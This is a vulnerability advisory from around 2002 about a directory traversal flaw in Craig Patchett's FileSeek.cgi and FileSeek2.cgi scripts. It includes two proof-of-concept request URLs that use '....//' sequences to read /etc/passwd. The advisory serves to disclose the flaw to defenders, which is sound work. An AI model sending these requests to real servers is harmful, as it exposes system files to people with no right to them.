FileSeek CGI Script File Disclosure Vulnerability

Bugtraq ID:	6784
Class:	Input Validation Error
CVE:	CVE-2002-0611
Remote:	Yes
Local:	No
Published:	Apr 16 2002 12:00AM
Updated:	Jul 11 2009 08:06PM
Credit:	Discovery of this vulnerability has been credited to : Thijs Bosschert ([email protected])
Vulnerable:	Wiley Computer Publishing Craig Patchett FileSeek2.cgi Wiley Computer Publishing Craig Patchett FileSeek.cgi
Not Vulnerable:

FileSeek CGI Script File Disclosure Vulnerability

FileSeek is an example cgi-script from "The CGI/Perl Cookbook from John Wiley &
Sons". The script is written and maintained by Craig Patchett. It is mainly used to find and download files on a web server.

FileSeek.cgi and FileSeek2.cgi are prone to a file disclosure vulnerability. It is possible for a remote attacker to submit a maliciously crafted web request which is capable of breaking out of the wwwroot directory and browsing arbitrary web-readable files on a host running the vulnerable script.

FileSeek CGI Script File Disclosure Vulnerability

The following proof of concept code was provided by Thijs Bosschert ([email protected]):

http://host/cgi-bin/FileSeek.cgi?head=&foot=....//....//....//....//....
//....//....//etc/passwd
http://host/cgi-bin/FileSeek.cgi?head=....//....//....//....//....//....
//....//etc/passwd&foot=

FileSeek CGI Script File Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

FileSeek CGI Script File Disclosure Vulnerability

References:

• FileSeek cgi script Advisory ("Thijs Bosschert" )
  
• FileSeek.cgi Homepage (Craig Patchett)
  
• Vuln-Dev : FileSeek cgi script advisory (N|ghtHawk )